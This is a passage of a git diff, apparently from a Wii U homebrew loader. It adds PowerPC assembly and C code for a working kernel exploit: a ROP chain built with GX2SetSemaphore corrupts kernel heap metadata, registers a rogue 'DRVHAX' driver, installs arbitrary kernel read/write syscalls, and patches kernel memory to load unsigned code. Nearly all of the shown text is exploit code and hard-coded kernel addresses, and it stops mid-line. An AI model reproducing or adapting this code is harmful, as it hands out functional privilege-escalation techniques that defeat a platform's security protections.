BAT_SET_NOP_ADDR_6 0xFFF1A544 + //define BAT_SET_NOP_ADDR_7 not present in 400 + + #define BAT_SET_NOP_ADDR_8 0xFFEE0F50 + #define BAT_SET_NOP_ADDR_9 0xFFEE0F54 +#elif (VER == 310) + #define BAT_SETUP_HOOK_ADDR 0xFFF19EC4 + + #define BAT_SET_NOP_ADDR_1 0xFFF06590 + #define BAT_SET_NOP_ADDR_2 0xFFF0661C + #define BAT_SET_NOP_ADDR_3 0xFFF003C8 + #define BAT_SET_NOP_ADDR_4 0xFFF003CC + #define BAT_SET_NOP_ADDR_5 0xFFF19FAC + #define BAT_SET_NOP_ADDR_6 0xFFF19FC8 +// #define BAT_SET_NOP_ADDR_7 not present in 3.1.0 + + #define BAT_SET_NOP_ADDR_8 0xFFEE0FB0 + #define BAT_SET_NOP_ADDR_9 0xFFEE0FB4 +#elif (VER == 300) + #define BAT_SETUP_HOOK_ADDR 0xFFF19E2C + + #define BAT_SET_NOP_ADDR_1 0xFFF06590 + #define BAT_SET_NOP_ADDR_2 0xFFF0661C + #define BAT_SET_NOP_ADDR_3 0xFFF003C8 + #define BAT_SET_NOP_ADDR_4 0xFFF003CC + #define BAT_SET_NOP_ADDR_5 0xFFF19F14 + #define BAT_SET_NOP_ADDR_6 0xFFF19F30 +// #define BAT_SET_NOP_ADDR_7 not present in 3.0.x + + #define BAT_SET_NOP_ADDR_8 0xFFEE0DB8 + #define BAT_SET_NOP_ADDR_9 0xFFEE0DBC +#else + #error Please define valid values for kernel setup. +#endif + +#ifdef USE_SD_LOADER + #define BAT_SETUP_HOOK_ENTRY 0x00800000 +#else + #define BAT_SETUP_HOOK_ENTRY (0x00800000 + 0x2000) +#endif + +#define BAT4U_VAL 0x008000FF +#if VER >= 410 + #define BAT4L_VAL 0x30800012 +#elif VER <= 400 + #define BAT4L_VAL 0x4E800012 +#else + #error Please define valid value for firmware setup. +#endif + +#define SET_R4_TO_ADDR(addr) \ + lis r3, addr@h ; \ + ori r3, r3, addr@l ; \ + stw r4, 0(r3) ; \ + dcbf 0, r3 ; \ + icbi 0, r3 ; + + .globl SC_0x25_KernelCopyData +SC_0x25_KernelCopyData: + li r0, 0x2500 + sc + blr + + .globl Syscall_0x36 +Syscall_0x36: + li r0, 0x3600 + sc + blr + + .globl KernelPatches +KernelPatches: + # store the old DBAT0 + mfdbatu r5, 0 + mfdbatl r6, 0 + + # memory barrier + eieio + isync + + # setup DBAT0 for access to kernel code memory + lis r3, 0xFFF0 + ori r3, r3, 0x0002 + mtdbatu 0, r3 + lis r3, 0xFFF0 + ori r3, r3, 0x0032 + mtdbatl 0, r3 + + # memory barrier + eieio + isync + + # SaveAndResetDataBATs_And_SRs hook setup, but could be any BAT function though + # just chosen because its simple + lis r3, BAT_SETUP_HOOK_ADDR@h + ori r3, r3, BAT_SETUP_HOOK_ADDR@l + + # make the kernel setup our section in IBAT4 and + # jump to our function to restore the replaced instructions + lis r4, 0x3ce0 # lis r7, BAT4L_VAL@h + ori r4, r4, BAT4L_VAL@h + stw r4, 0x00(r3) + lis r4, 0x60e7 # ori r7, r7, BAT4L_VAL@l + ori r4, r4, BAT4L_VAL@l + stw r4, 0x04(r3) + lis r4, 0x7cf1 # mtspr 561, r7 + ori r4, r4, 0x8ba6 + stw r4, 0x08(r3) + lis r4, 0x3ce0 # lis r7, BAT4U_VAL@h + ori r4, r4, BAT4U_VAL@h + stw r4, 0x0C(r3) + lis r4, 0x60e7 # ori r7, r7, BAT4U_VAL@l + ori r4, r4, BAT4U_VAL@l + stw r4, 0x10(r3) + lis r4, 0x7cf0 # mtspr 560, r7 + ori r4, r4, 0x8ba6 + stw r4, 0x14(r3) + lis r4, 0x7c00 # eieio + ori r4, r4, 0x06ac + stw r4, 0x18(r3) + lis r4, 0x4c00 # isync + ori r4, r4, 0x012c + stw r4, 0x1C(r3) + lis r4, 0x7ce8 # mflr r7 + ori r4, r4, 0x02a6 + stw r4, 0x20(r3) + lis r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@h # bla BAT_SETUP_HOOK_ENTRY + ori r4, r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@l + stw r4, 0x24(r3) + + # flush and invalidate the replaced instructions + lis r3, (BAT_SETUP_HOOK_ADDR & ~31)@h + ori r3, r3, (BAT_SETUP_HOOK_ADDR & ~31)@l + dcbf 0, r3 + icbi 0, r3 + lis r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@h + ori r3, r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@l + dcbf 0, r3 + icbi 0, r3 + sync + + # setup IBAT4 for core 1 at this position (not really required but wont hurt) + # IBATL 4 + lis r3, BAT4L_VAL@h + ori r3, r3, BAT4L_VAL@l + mtspr 561, r3 + + # IBATU 4 + lis r3, BAT4U_VAL@h + ori r3, r3, BAT4U_VAL@l + mtspr 560, r3 + + # memory barrier + eieio + isync + + # write "nop" to some positions + lis r4, 0x6000 + # nop on IBATU 4 and DBAT 5 set/reset +#ifdef BAT_SET_NOP_ADDR_1 + SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_1) +#endif +#ifdef BAT_SET_NOP_ADDR_2 + SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_2) +#endif +#ifdef BAT_SET_NOP_ADDR_3 + SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_3) +#endif +#ifdef BAT_SET_NOP_ADDR_4 + SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_4) +#endif +#ifdef BAT_SET_NOP_ADDR_5 + SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_5) +#endif +#ifdef BAT_SET_NOP_ADDR_6 + SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_6) +#endif +#ifdef BAT_SET_NOP_ADDR_7 + SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_7) +#endif + +#if (defined(BAT_SET_NOP_ADDR_8) && defined(BAT_SET_NOP_ADDR_9)) + # memory barrier + eieio + isync + + # setup DBAT0 for access to kernel code memory + lis r3, 0xFFEE + ori r3, r3, 0x0002 + mtdbatu 0, r3 + lis r3, 0xFFEE + ori r3, r3, 0x0032 + mtdbatl 0, r3 + + # memory barrier + eieio + isync + + # write "nop" to some positions + lis r4, 0x6000 + SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_8) + SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_9) +#endif + + # memory barrier + eieio + isync + + # restore DBAT 0 and return from interrupt + mtdbatu 0, r5 + mtdbatl 0, r6 + + # memory barrier + eieio + isync + + blr + diff --git a/dsrom/vwii_loader/kexploit.c b/dsrom/vwii_loader/kexploit.c new file mode 100644 index 0000000..5fa4419 --- /dev/null +++ b/dsrom/vwii_loader/kexploit.c @@ -0,0 +1,245 @@ +#include "kexploit.h" +#include "coreinit.h" + +void wait(unsigned int coreinit_handle, unsigned int t); +void doBrowserShutdown(unsigned int coreinit_handle); +void setupOSScreen(unsigned int coreinit_handle); +void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos); +void exitOSScreen(unsigned int coreinit_handle); +void callSysExit(unsigned int coreinit_handle, void *sysFunc); + +/* Initial setup code stolen from Pong, makes race much more reliable */ +void run_kexploit(private_data_t *private_data) +{ + /* Get a handle to coreinit.rpl and gx2.rpl */ + unsigned int coreinit_handle = private_data->coreinit_handle; + unsigned int gx2_handle = 0; + OSDynLoad_Acquire("gx2.rpl", &gx2_handle); + + /* Exit functions */ + void (*__PPCExit)(); + OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit); + + /* Memory functions */ + void (*DCFlushRange)(void *buffer, uint32_t length); + void* (*OSAllocFromSystem)(uint32_t size, int align); + void (*OSFreeToSystem)(void *ptr); + OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); + OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); + OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); + + /* OS thread functions */ + bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int priority, uint16_t attr); + int (*OSResumeThread)(void *thread); + void (*OSExitThread)(); + int (*OSIsThreadTerminated)(void *thread); + void (*OSYieldThread)(void); + + OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); + OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); + OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread); + OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated); + OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread); + + /* OSDriver functions */ + uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020}; + uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit); + uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020}; + uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit); + uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020}; + uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit); + uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020}; + uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit); + + /* GX2 functions */ + void (*GX2SetSemaphore)(uint64_t *sem, int action); + void (*GX2Init)(void *arg); + void (*GX2Shutdown)(void); + OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", &GX2SetSemaphore); + OSDynLoad_FindExport(gx2_handle, 0, "GX2Init", &GX2Init); + OSDynLoad_FindExport(gx2_handle, 0, "GX2Shutdown", &GX2Shutdown); + + /* Init GX2 again */ + GX2Init((void*)0); + + /* Allocate space for DRVHAX */ + uint32_t *drvhax = OSAllocFromSystem(0x4c, 4); + + /* Set the kernel heap metadata entry */ + uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE)); + metadata[0] = (uint32_t)drvhax; + metadata[1] = (uint32_t)-0x4c; + metadata[2] = (uint32_t)-1; + metadata[3] = (uint32_t)-1; + + /* Find some gadgets */ + uint32_t gx2data[] = {0xFC2A0000}; + uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000); + uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020}; + uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, 0x01000000); + uint32_t r30r31load[] = {0x80010014, 0x83e1000c, 0x7c0803a6, 0x83c10008, 0x38210010, 0x4e800020}; + uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, 0x01000000); + uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024}; + uint32_t doflush_addr = (uint32_t) find_gadget(doflush, 0x2C, 0x01000000) + 0x14 + 0x18; + uint32_t gx2rop[] = {0x819A0004, 0x55800036, 0x7C006040, 0x40820054, 0x2C190000, 0x4182004C, 0x2C1F0000, 0x40820044, 0x2C1D0000, 0x4182003C, 0x2C1E0000}; + uint32_t gx2rop_addr = (uint32_t) find_gadget(gx2rop, 0x2C, 0x01000000); + + /* Modify a next ptr on the heap */ + uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET; + + /* Make a thread to modify the semaphore */ + OSContext *thread = (OSContext*)private_data->MEMAllocFromDefaultHeapEx(0x1000, 8); + uint32_t *stack = (uint32_t*)private_data->MEMAllocFromDefaultHeapEx(0xA0, 0x20); + if (!OSCreateThread(thread, (void*)gx2rop_addr, 0, NULL, ((uint32_t)stack) + 0xA0, 0xA0, 0, 0x1 | 0x8)) OSFatal("Failed to create thread"); + + /* Set up the ROP chain */ + thread->gpr[1] = (uint32_t)stack; + thread->gpr[3] = kpaddr; + thread->gpr[30] = gx2data_addr; + thread->gpr[31] = 1; + thread->srr0 = ((uint32_t)GX2SetSemaphore) + 0x2C; + + stack[0x24/4] = r30r31load_addr; /* Load r30/r31 - stack=0x20 */ + stack[0x28/4] = gx2data_addr; /* r30 = GX2 data area */ + stack[0x2c/4] = 1; /* r31 = 1 (signal) */ + + stack[0x34/4] = r3r4load_addr; /* Load r3/r4 - stack=0x30 */ + stack[0x38/4] = kpaddr; + + stack[0x44/4] = ((uint32_t)GX2SetSemaphore) + 0x2C; /* GX2SetSemaphore() - stack=0x40 */ + + stack[0x64/4] = r30r31load_addr; /* Load r30/r31 - stack=0x60 */ + stack[0x68/4] = 0x100; /* r30 = r3 of do_flush = 0x100 */ + stack[0x6c/4] = 1; /* r31 = r4 of do_flush = 1 */ + + stack[0x74/4] = doflush_addr; /* do_flush() - stack=0x70 */ + + stack[0x94/4] = (uint32_t)OSExitThread; + + DCFlushRange(thread, 0x1000); + DCFlushRange(stack, 0x1000); + + /* Start the thread */ + OSResumeThread(thread); + + /* Wait for a while */ + while(OSIsThreadTerminated(thread) == 0) + { + OSYieldThread(); + } + + /* Free stuff */ + private_data->MEMFreeToDefaultHeap(thread); + private_data->MEMFreeToDefaultHeap(stack); + + /* Register a new OSDriver, DRVHAX */ + char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'}; + Register(drvname, 6, NULL, NULL); + + /* Modify its save area to point to the kernel syscall table */ + drvhax[0x44/4] = KERN_SYSCALL_TBL_2 + (0x34 * 4); + + /* Use DRVHAX to install the read and write syscalls */ + uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE}; + CopyToSaveArea(drvname, 6, syscalls, 8); + + /* Clean up the heap and driver list so we can exit */ + kern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0); + kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]); + + /* Shut down GX2 again */ + GX2Shutdown(); +} + +/* Simple memcmp() implementation */ +int memcmp(void *ptr1, void *ptr2, uint32_t length) +{ + uint8_t *check1 = (uint8_t*) ptr1; + uint8_t *check2 = (uint8_t*) ptr2; + uint32_t i; + for (i = 0; i < length; i++) + { + if (check1[i] != check2[i]) return 1; + } + + return 0; +} + +void* memcpy(void* dst, const void* src, uint32_t size) +{ + uint32_t i; + for (i = 0; i < size; i++) + ((uint8_t*) dst)[i] = ((const uint8_t*) src)[i]; + return dst; +} + +/* Find a gadget based on a sequence of words */ +void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start) +{ + uint32_t *ptr; + + /* Search code before JIT area first */ + for (ptr = (uint32_t*) gadgets_start; ptr != (uint32_t*) JIT_ADDRESS; ptr++) + { + if (!memcmp(ptr, &code[0], length)) return ptr; + } + + /* Restart search after JIT */ + for (ptr = (uint32_t*) CODE_ADDRESS_START; ptr != (uint32_t*) CODE_ADDRESS_END; ptr++) + { + if (!memcmp(ptr, &code[0], length)) return ptr; + } + + OSFatal("Gadget not found!"); + return (void*)0; +} + +/* Read a 32-bit word with kernel permissions */ +uint32_t __attribute__ ((noinline)) kern_read(const void *addr) +{ + uint32_t result; + asm volatile ( + "li 3,1\n" + "li 4,0\n" + "li 5,0\n" + "li 6,0\n" + "li 7,0\n" + "lis 8,1\n" + "mr 9,%1\n" + "li 0,0x3400\n" + "mr %0,1\n" + "sc\n" + "nop\n" + "mr 1,%0\n" + "mr %0,3\n" + : "=r"(result) + : "b"(addr) + : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", + "11", "12" + ); + + return result; +} + +/* Write a 32-bit word with kernel permissions */ +void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value) +{ + asm volatile ( + "li 3,1\n" + "li 4,0\n" + "mr 5,%1\n" + "li 6,0\n" + "li 7,0\n" + "lis 8,1\n" + "mr 9,%0\n" + "mr %1,1\n" + "li 0,0x3500\n" + "sc\n" + "nop\n" + "mr 1,%1\n" + : + : "r"(addr), "r"(value) + : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", + "11", "12" + ); +} diff --git a/dsrom/vwii_loader/kexploit.h b/dsrom/vwii_loader/kexploit.h new file mode 100644 index 0000000..096aa97 --- /dev/null +++ b/dsrom/vwii_loader/kexploit.h @@ -0,0 +1,51 @@ +#ifndef KEXPLOIT_H +#define KEXPLOIT_H + +#include "structs.h" +#include "types.h" + +/* Wait times for CPU0 and CPU2 */ +#define CPU0_WAIT_TIME 80 +#define CPU2_WAIT_TIME 92 + +/* Gadget finding addresses */ +#define JIT_ADDRESS 0x01800000 +#define CODE_ADDRESS_START 0x0D800000 +#define CODE_ADDRESS_END 0x0F848A0C + +/* Kernel addresses, stolen from Chadderz */ +#define KERN_HEAP 0xFF200000 +#define KERN_HEAP_PHYS 0x1B800000 + +#define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown +#define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games +#define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader +#define KERN_SYSCALL_TBL_4 0xFFEAAA60 // works with home menu +#define KERN_SYSCALL_TBL_5 0xFFEAAE60 // works with browser (previously KERN_SYSCALL_TBL) + +#define KERN_CODE_READ 0xFFF023D4 +#define KERN_CODE_WRITE 0xFFF023F4 +#define KERN_ADDRESS_TBL 0xFFEAB7A0 +#define KERN_DRVPTR (KERN_ADDRESS_TBL - 0x270) + +/* Browser PFID */ +#define PFID_BROWSER 8 + +/* Kernel heap constants */ +#define STARTID_OFFSET 0x08 +#define METADATA_OFFSET 0x14 +#define METADATA_SIZE 0x10 + +/* Size of a Cafe OS thread */ +#define OSTHREAD_SIZE 0x1000 + +void run_kexploit(private_data_t *private_data); + +/* Find a ROP gadget by a sequence of bytes */ +void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start); + +/* Arbitrary read and write syscalls */ +uint32_t __attribute__ ((noinline)) kern_read(const void *addr); +void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value); + +#endif /* KEXPLOIT_H */ diff --git a/dsrom/vwii_loader/launcher.c b/dsrom/vwii_loader/launcher.c new file mode 100644 index 0000000..7b51dfc --- /dev/null +++ b/dsrom/vwii_loader/launcher.c @@ -0,0 +1,398 @@ +#include "types.h" +#include "elf_abi.h" +#include "kexploit.h" +#include "structs.h" +#include "sd_loader.h" +#include "coreinit.h" + +#define MEM_BASE 0xC0800000 +#include "common.h" +#include "os_defs.h" + +//! this shouldnt depend on OS +#define LIB_CODE_RW_BASE_OFFSET 0xC1000000 +#define CODE_RW_BASE_OFFSET 0xC0000000 +#define DATA_RW_BASE_OFFSET 0xC0000000 + +#define ADDRESS_OSTitle_main_entry_ptr 0x1005E040 +#define ADDRESS_main_entry_hook 0x0101C56C + +#define ROOTRPX_DBAT0U_VAL 0xC00003FF +#define COREINIT_DBAT0U_VAL 0xC20001FF + +#define ROOTRPX_DBAT0L_VAL 0x30000012 +#define COREINIT_DBAT0L_VAL 0x32000012 + +#define address_LiWaitIopComplete 0x01010180 +#define address_LiWaitIopCompleteWithInterrupts 0x0101006C +#define address_LiWaitOneChunk 0x0100080C +#define address_PrepareTitle_hook 0xFFF184E4 +#define address_sgIsLoadingBuffer 0xEFE19E80 +#define address_gDynloadInitialized 0xEFE13DBC + +/* Install functions */ +static void InstallMain(private_data_t *private_data); +static void InstallPatches(private_data_t *private_data); +static void PrepareScreen(private_data_t *private_data); +static void ExitFailure(private_data_t *private_data, const char *failure); + +static void SetupKernelSyscall(unsigned int addr); +static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len); + +/* assembly functions */ +extern void SC_0x25_KernelCopyData(void* addr, void* src, unsigned int len); +extern void Syscall_0x36(void); +extern void KernelPatches(void); + +/* ****************************************************************** */ +/* ENTRY POINT */ +/* ****************************************************************** */ +void __main(void) +{ + /* Get coreinit handle and keep it in memory */ + unsigned int coreinit_handle; + OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); + + /* Get our memory functions */ + unsigned int* functionPointer; + void* (*p_memset)(void * dest, unsigned int value, unsigned int bytes); + OSDynLoad_FindExport(coreinit_handle, 0, "memset", &p_memset); + + private_data_t private_data; + p_memset(&private_data, 0, sizeof(private_data_t)); + + private_data.coreinit_handle = coreinit_handle; + private_data.memset = p_memset; + private_data.data_elf = (unsigned char *) sd_loader_sd_loader_elf; // use this address as temporary to load the elf + + OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPointer); + private_data.MEMAllocFromDefaultHeapEx = (void*(*)(unsigned int, unsigned int))*functionPointer; + OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPointer); + private_data.MEMFreeToDefaultHeap = (void (*)(void *))*functionPointer; + + OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &private_data.memcpy); + OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &private_data.OSEffectiveToPhysical); + OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &private_data.DCFlushRange); + OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &private_data.ICInvalidateRange); + OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &private_data._Exit); + + /* do kernel exploit if needed */ + if (private_data.OSEffectiveToPhysical((void *)0xa0000000) == (void *)0) + run_kexploit(&private_data); + + /* Since we inited GX2 without initing the screen before do that now */ + /* Without this the hbl load will have some screen corruptions */ + PrepareScreen(&private_data); + + /* Do SYSLaunchMenu to boot vWii */ + unsigned int sysapp_handle; + void (*SYSLaunchMenu)(void) = 0; + OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); + OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchMenu", &SYSLaunchMenu); + SYSLaunchMenu(); + + /* setup kernel copy data syscall */ + kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x25 * 4)), (unsigned int)KernelCopyData); + + /* Install our code now */ + InstallMain(&private_data); + + /* setup our own syscall and call it */ + SetupKernelSyscall((unsigned int)KernelPatches); + Syscall_0x36(); + + /* Patch functions and our code for usage */ + InstallPatches(&private_data); + + /* Exit our core 0 thread to return to main */ + void (*OSExitThread)(int); + OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread); + OSExitThread(0); +} + +void PrepareScreen(private_data_t *private_data) +{ + // Prepare screen + void (*OSScreenInit)(); + unsigned int (*OSScreenGetBufferSizeEx)(unsigned int bufferNum); + unsigned int (*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); + unsigned int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); + unsigned int (*OSScreenFlipBuffersEx)(unsigned int bufferNum); + + OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenInit", &OSScreenInit); + OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); + OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx); + OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx); + OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx); + + // Prepare screen + int screen_buf0_size = 0; + int screen_buf1_size = 0; + unsigned int screen_color = 0; // (r << 24) | (g << 16) | (b << 8) | a; + + // Init screen and screen buffers + OSScreenInit(); + screen_buf0_size = OSScreenGetBufferSizeEx(0); + screen_buf1_size = OSScreenGetBufferSizeEx(1); + OSScreenSetBufferEx(0, (void *)0xF4000000); + OSScreenSetBufferEx(1, (void *)0xF4000000 + screen_buf0_size); + + // Clear screens + OSScreenClearBufferEx(0, screen_color); + OSScreenClearBufferEx(1, screen_color); + + // Flush the cache + private_data->DCFlushRange((void *)0xF4000000, screen_buf0_size); + private_data->DCFlushRange((void *)0xF4000000 + screen_buf0_size, screen_buf1_size); + + // Flip buffers + OSScreenFlipBuffersEx(0); + OSScreenFlipBuffersEx(1); +} + +void ExitFailure(private_data_t *private_data, const char *failure) +{ + /************************************************************************/ + unsigned int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); + unsigned int (*OSScreenFlipBuffersEx)(unsigned int bufferNum); + unsigned int (*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer); + + OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx); + OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx); + OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx); + + OSScreenPutFontEx(1, 0, 0, failure); + + OSScreenFlipBuffersEx(1); + OSScreenClearBufferEx(1, 0); + + unsigned int t1 = 0x3FFFFFFF; + while(t1--) asm volatile("nop"); + + private_data->_Exit(0); +} + +/* ***************************************************************************** + * Base functions + * ****************************************************************************/ +static void SetupKernelSyscall(unsigned int address) +{ + // Add syscall #0x36 + kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x36 * 4)), address); + + // make kern_read/kern_write available in all places + kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x34 * 4)), KERN_CODE_READ); + kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x34 * 4)), KERN_CODE_READ); + kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x34 * 4)), KERN_CODE_READ); + kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x34 * 4)), KERN_CODE_READ); + + kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x35 * 4)), KERN_CODE_WRITE); + kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x35 * 4)), KERN_CODE_WRITE); + kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x35 * 4)), KERN_CODE_WRITE); + kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x35 * 4)), KERN_CODE_WRITE); +} + +static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len) +{ + /* + * Setup a DBAT access for our 0xC0800000 area and our 0xBC000000 area which hold our variables like GAME_LAUNCHED and our BSS/rodata section + */ + register unsigned int dbatu0, dbatl0, target_dbat0u, target_dbat0l; + // setup mapping based on target address + if ((addr >= 0xC0000000) && (addr < 0xC2000000)) // root.rpx address + { + target_dbat0u = ROOTRPX_DBAT0U_VAL; + target_dbat0l = ROOTRPX_DBAT0L_VAL; + } + else if ((addr >= 0xC2000000) && (addr < 0xC3000000)) + { + target_dbat0u = COREINIT_DBAT0U_VAL; + target_dbat0l = COREINIT_DBAT0L_VAL; + } + // save the original DBAT value + asm volatile("mfdbatu %0, 0" : "=r" (dbatu0)); + asm volatile("mfdbatl %0, 0" : "=r" (dbatl0)); + asm volatile("mtdbatu 0, %0" : : "r" (target_dbat0u)); + asm volatile("mtdbatl 0, %0" : : "r" (target_dbat0l)); + asm volatile("eieio; isync"); + + unsigned char *src_p = (unsigned char*)src; + unsigned char *dst_p = (unsigned char*)addr; + + unsigned int i; + for(i = 0; i < len; i++) + { + dst_p[i] = src_p[i]; + } + + unsigned int flushAddr = addr & ~31; + + while(flushAddr < (addr + len)) + { + asm volatile("dcbf 0, %0; sync" : : "r"(flushAddr)); + flushAddr += 0x20; + } + + /* + * Restore original DBAT value + */ + asm volatile("mtdbatu 0, %0" : : "r" (dbatu0)); + asm volatile("mtdbatl 0, %0" : : "r" (dbatl0)); + asm volatile("eieio; isync"); +} + +static int strcmp(const char *s1, const char *s2) +{ + while(*s1 && *s2) + { + if(*s1 != *s2) { + return -1; + } + s1++; + s2++; + } + + if(*s1 != *s2) { + return -1; + } + return 0; +} + +static unsigned int get_section(private_data_t *private_data, unsigned char *data, const char *name, unsigned int * size, unsigned int * addr, int fail_on_not_found) +{ + Elf32_Ehdr *ehdr = (Elf32_Ehdr *) data; + + if ( !data + || !IS_ELF (*ehdr) + || (ehdr->e_type != ET_EXEC) + || (ehdr->e_machine != EM_PPC)) + { + ExitFailure(private_data, "Invalid elf file"); + } + + Elf32_Shdr *shdr = (Elf32_Shdr *) (data + ehdr->e_shoff); + int i; + for(i = 0; i < ehdr->e_shnum; i++) + { + const char *section_name = ((const char*)data) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name; + if(strcmp(section_name, name) == 0) + { + if(addr) + *addr = shdr[i].sh_addr; + if(size) + *size = shdr[i].sh_size; + return shdr[i].sh_offset; + } + } + + if(fail_on_not_found) + ExitFailure(private_data, (char*)name); + + return 0; +} + +/* ****************************************************************** */ +/* INSTALL MAIN CODE */ +/* ****************************************************************** */ +static void InstallMain(private_data_t *private_data) +{ + // get .text section + unsigned int main_text_addr = 0; + unsigned int main_text_len = 0; + unsigned int section_offset = get_section(private_data, private_data->data_elf, ".text", &main_text_len, &main_text_addr, 1); + unsigned char *main_text = private_data->data_elf + section_offset; + /* Copy main .text to memory */ + if(section_offset > 0) + SC_0x25_KernelCopyData((void*)(CODE_RW_BASE_OFFSET + main_text_addr), main_text, main_text_len); + + // get the .rodata section + unsigned int main_rodata_addr = 0; + unsigned int main_rodata_len = 0; + section_offset = get_section(private_data, private_data->data_elf, ".rodata", &main_rodata_len, &main_rodata_addr, 0); + if(section_offset > 0) + { + unsigned char *main_rodata = private_data->data_elf + section_offset; + /* Copy main rodata to memory */ + SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + 